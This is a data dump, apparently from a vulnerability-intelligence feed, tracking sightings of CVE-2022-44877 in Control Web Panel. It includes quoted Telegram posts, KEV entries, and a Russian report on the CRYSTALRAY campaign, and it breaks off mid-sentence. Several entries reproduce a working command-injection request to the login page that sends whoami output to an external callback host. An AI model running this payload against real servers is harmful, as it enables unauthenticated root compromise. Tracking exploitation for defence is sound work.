"2023-01-17T00:38:51.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/LearnExploit/4546", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "8365f0cd-f70b-4f82-9a51-a17e2b81046b", "content": "CVE-2022-44877\n\nControl Web Panel Unauth RCE\n\nusage :\nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login\n\n#RCE #CVE \n\u2014\u2014\u2014\u2014\u2014\u2014\u200c\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/4546", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-17T10:27:05Z", "date_only": false, "value": "2023-01-17T10:27:05.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/LBlGBEhemJZkwQPO2E1CN0fUgXVoXgX8BpkxvKB6zhychcA", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "936cb716-7234-4985-8a67-3c2a7ea1bd36"}, {"timestamp": "2023-01-19T11:38:15Z", "date_only": false, "value": "2023-01-19T11:38:15.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/87854", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "2d4d004e-6d66-454a-92b1-3641e860120b", "content": "US CISA adds Centos Web Panel RCE CVE-2022-44877 to its\u00a0Known Exploited Vulnerabilities Catalog\n\nhttps://ift.tt/feAN6wi", "url": "https://t.me/ctinow/87854"}, {"timestamp": "2023-01-31T14:53:19Z", "date_only": false, "value": "2023-01-31T14:53:19.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/control_web_panel_login_cmd_exec.rb", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "69aed977-f504-4263-b5c8-9ef64fa79095", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/control_web_panel_login_cmd_exec.rb"}, {"timestamp": "2023-02-01T02:22:30Z", "date_only": false, "value": "2023-02-01T02:22:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BugCod3/107", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "6aa2d8ea-2ca0-4741-914d-5ed6d556b6a5", "content": "Control Web Panel Unauthenticated Remote Command Execution Exploit\n\n\u2796 Category: remote exploits\n\n\ud83d\udda5 Platform: linux\n\n\ud83e\ude96 Risk: Security Risk Critical \ud83d\udea8\n\n\ud83d\uddc2\ufe0f Size: \ud83c\udd70\ud83c\udd70\ud83c\udd70\ud83d\udcdd\ud83d\udcdd\n\n\ud83d\udcdd\nDescription: Control Web Panel versions prior to 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful exploitation results in code execution as the root user. The results of the command are not contained within the HTTP response and the request will block while the command is running.\n\n\u2b50 CVE: CVE-2022-44877\n\n#CVE #Linux #Exploit\n\u2797\u2797\u2797\u2797\u2797\u2797\u2797\u2797\u2797\u2797\u2797\u2797\n\ud83d\udc64 T.me/MRvirusIRBOT \n\ud83d\udce2 T.me/SashClient\n\ud83e\udea9 Https://discord.gg/UfFvDYBBMM \n\ud83c\udf10 Https://sash.mybin.ir", "url": "https://t.me/BugCod3/107", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-01T08:26:05Z", "date_only": false, "value": "2023-02-01T08:26:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/AY73a6VopayuGS3sFVnT6risuhBjZYNN4wypwEk7jXZmWRA", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "15314648-fbc4-4e93-8db0-3fa75d0c6bf1", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-01T14:26:05Z", "date_only": false, "value": "2023-02-01T14:26:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-Agm6CxDAHpFekuPHljhtLzEIw4YdZciyyWEP66WVyC4Mao", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "c6df947f-49af-4f3c-8617-467cce9f5c36", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-02T06:35:01Z", "date_only": false, "value": "2023-02-02T06:35:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/gjl5Uy3V92u60R1A6ThsEPRpU8GiWdUXTnqzjNgz90vk3Tk", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "09d70b4e-d481-4892-882d-8dc298f6bcbf", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-07T00:00:00Z", "date_only": true, "value": "2023-02-07", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2022-44877", "field": "evidence.0.details.due_date", "uuid": "8419ae1b-d239-4b01-a77a-b24315ae92fb", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-02-15T15:27:38Z", "date_only": false, "value": "2023-02-15T15:27:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3789", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "6bd65a6e-4bf2-4bfc-bd95-ad66d2dafe6c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aRed Team\n\u63cf\u8ff0\uff1aRed Team utilities for setting up CWP CentOS 7 payload & reverse shell, as it refers to CVE-2022-44877\nURL\uff1ahttps://github.com/hotpotcookie/cwp-rce-white-box\n\n\u6807\u7b7e\uff1a#Red Team", "url": "https://t.me/GithubRedTeam/3789", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-13T04:32:52Z", "date_only": false, "value": "2023-03-13T04:32:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3935", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "95ebbc1b-7a82-46f7-aa7b-90d7898fa27c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aRed Team\n\u63cf\u8ff0\uff1aRed Team utilities for setting up CWP CentOS 7 payload & reverse shell (Red Team 9 - CW2023)\nURL\uff1ahttps://github.com/hotpotcookie/CVE-2022-44877-white-box\n\n\u6807\u7b7e\uff1a#Red Team", "url": "https://t.me/GithubRedTeam/3935", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-30T08:15:53Z", "date_only": false, "value": "2023-03-30T08:15:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/2637", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "401b0c18-3f23-44c5-9e6a-2a57ca910bcd", "content": "#Red_Team\n\nRed Team utilities for setting up CWP CentOS 7 payload & reverse shell, as it refers to CVE-2022-44877\n\nhttps://github.com/hotpotcookie/cwp-rce-white-box\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/2637", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-31T20:23:19Z", "date_only": false, "value": "2023-03-31T20:23:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/dnB1GUjf0v9LFGmoVZrpJEAc_h4H9AJQZzfZfG_3ZxYWjuY", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "bc0c378f-35cb-4c05-82cf-331e27d66b98", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-04-01T14:25:41Z", "date_only": false, "value": "2023-04-01T14:25:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/jMJyadT3qc-lkVlS3NqgZVp45jvUhGcXJlopuseaLsWvi6M", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "93425ddf-67da-4522-a62c-f14963a1b431", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-04-06T00:00:00Z", "date_only": false, "value": "2023-04-06T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2022-44877", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-04-06T17:15:00Z", "date_only": false, "value": "2023-04-06T17:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-44877", "record": "GSD-2022-44877", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2023-05-28T10:23:50Z", "date_only": false, "value": "2023-05-28T10:23:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LearnExploit/5153", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "b2ea6888-ebd4-4ef4-80a5-6ef093a616fe", "content": "CVE-2022-44877\n\nControl Web Panel Unauth RCE\n\nPOC usage:\n\nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login\n\n#Cve #rce\n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/5153", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-06-14T21:10:04Z", "date_only": false, "value": "2023-06-14T21:10:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "c5a0d98b-fdf2-4e8f-897c-38e3d10da020"}, {"timestamp": "2023-11-19T14:48:50Z", "date_only": false, "value": "2023-11-19T14:48:50.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/268", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "0fbc0436-d3a0-4142-8b35-b557b136178e", "content": "#ExploitObserverAlert\n\nCVE-2022-44877\n\nDESCRIPTION: Exploit Observer has 37 entries related to CVE-2022-44877. login/index.php in CWP (aka Control Web Panel or CentOS Web Panel) 7 before 0.9.8.1147 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the login parameter.\n\nFIRST-EPSS: 0.974350000\nNVD-IS: 5.9\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/268"}, {"timestamp": "2023-12-13T01:19:25.239Z", "date_only": false, "value": "2023-12-13T01:19:25.239925Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-44877", "record": "GSD-2022-44877", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-05-04T07:41:16Z", "date_only": false, "value": "2024-05-04T07:41:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/4192", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "5fe42db6-9702-45b0-b71d-f40a4d3a7758", "content": "CVE-2022-44877\n\nControl Web Panel Unauth RCE\n\nPOC usage:\n\nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login", "url": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/4192", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-05T11:58:13Z", "date_only": false, "value": "2024-05-05T11:58:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9VSrl9zLun59PPbfDpr8xiPX8yfhb9CmNOfmFPOZuDJD3w", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "020921a0-017f-4415-b572-e6b3d2e04d8b", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-11T19:55:16Z", "date_only": false, "value": "2024-05-11T19:55:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MrVGunz/1102", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "e2e0008d-4792-4fa6-91f7-2e3da9dbdcaa", "content": "CVE-2022-44877 \u06a9\u0646\u062a\u0631\u0644 \u067e\u0646\u0644 \u0648\u0628 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a #RCE\n\n\u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645:\nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login\nCVE-2022-44877 Control Web Panel Unauth #RCE \n\nPOC: \nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login", "url": "https://t.me/MrVGunz/1102", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-12T17:35:05Z", "date_only": false, "value": "2024-07-12T17:35:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_secator/5965", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "5ba4ba9c-c797-4f90-b13d-375a0b094cde", "content": "Sysdig \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a \u043d\u043e\u0432\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b CRYSTALRAY, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u0447\u0438\u0441\u043b\u043e \u0436\u0435\u0440\u0442\u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u043e\u0437\u0440\u043e\u0441\u043b\u043e \u0441\u043e 100 \u0434\u043e 1500.\n\nSysdig \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438\u00a0\u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438\u00a0\u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0438\u043c\u0438 \u0447\u0435\u0440\u0432\u044f \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c\u00a0SSH-Snake\u00a0\u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a \u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u0441\u0440\u0435\u0434\u0430\u043c.\n\nSSH-snake - \u044d\u0442\u043e \u0447\u0435\u0440\u0432\u044c \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0440\u0430\u0434\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 SSH \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0445 \u0434\u043b\u044f \u043b\u0430\u0442\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f\u043c Sysdig, \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 CRYSTALRAY \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u044b \u0441\u0432\u043e\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 10 \u0440\u0430\u0437, \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0441\u0442\u0430\u043b\u0438 1500 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u0447\u044c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u044b\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u044b.\n\n\u041d\u043e\u0432\u0430\u044f \u0442\u0430\u043a\u0442\u0438\u043a\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 OSS, \u0432 \u0447\u0438\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 zmap, asn, httpx, nuclei, platypus.\n\n\u0426\u0435\u043b\u044c CRYSTALRAY - \u0441\u0431\u043e\u0440 \u0438 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0436\u0435\u0440\u0442\u0432\u044b. \n\nSysdig \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e CRYSTALRAY \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 PoC, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0446\u0435\u043b\u044f\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 Sliver.\n\n\u0421\u0440\u0435\u0434\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 CRYSTALRAY \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0432\u043e\u0435\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438: CVE-2022-44877 (\u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Control Web Panel (CWP), CVE-2021-3129 (RCE-\u043e\u0448\u0438\u0431\u043a\u0430 d Ignition (Laravel) \u0438 CVE-2019-18394 (SSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ignite Realtime Openfire).\n\nSysdig \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f Atlassian Confluence, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430\u043c, \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0430\u0442\u0430\u043a \u043f\u0440\u043e\u0442\u0438\u0432 1800 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0442\u0440\u0435\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0421\u0428\u0410.\n\nCRYSTALRAY \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0435\u0431-\u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 Platypus \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c SSH-Snake \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0438. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043b\u044e\u0447\u0435\u0439 SSH \u0447\u0435\u0440\u0432\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0445 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043d\u043e\u0432\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0431\u044f \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u043d\u043e\u0432\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445.\n\nSSH-Snake \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u043d\u043e \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e bash \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043d\u0430 C2 CRYSTALRAY, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a.\n\n\u0412\u0441\u0435 \u043a\u0440\u0430\u0434\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0442\u0435\u043c \u0441 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 SaaS-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0441\u043f\u0440\u043e\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u0438\u043b\u0438 Telegram, \u043f\u0440\u0438\u043d\u043e\u0441\u044f \u0445\u043e\u0440\u043e\u0448\u0443\u044e \u043f\u0440\u0438\u0431\u044b\u043b\u044c. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u043b\u044f \u043c\u043e\u043d\u0435\u0442\u0430\u0437\u0438\u0446\u0438\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u044b.\n\n\u041f\u043e \u043c\u0435\u0440\u0435 \u0440\u043e\u0441\u0442\u0430 \u0443\u0433\u0440\u043e\u0437\u044b CRYSTALRAY \u043b\u0443\u0447\u0448\u0435\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0435\u0439 \u0435\u0435 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438 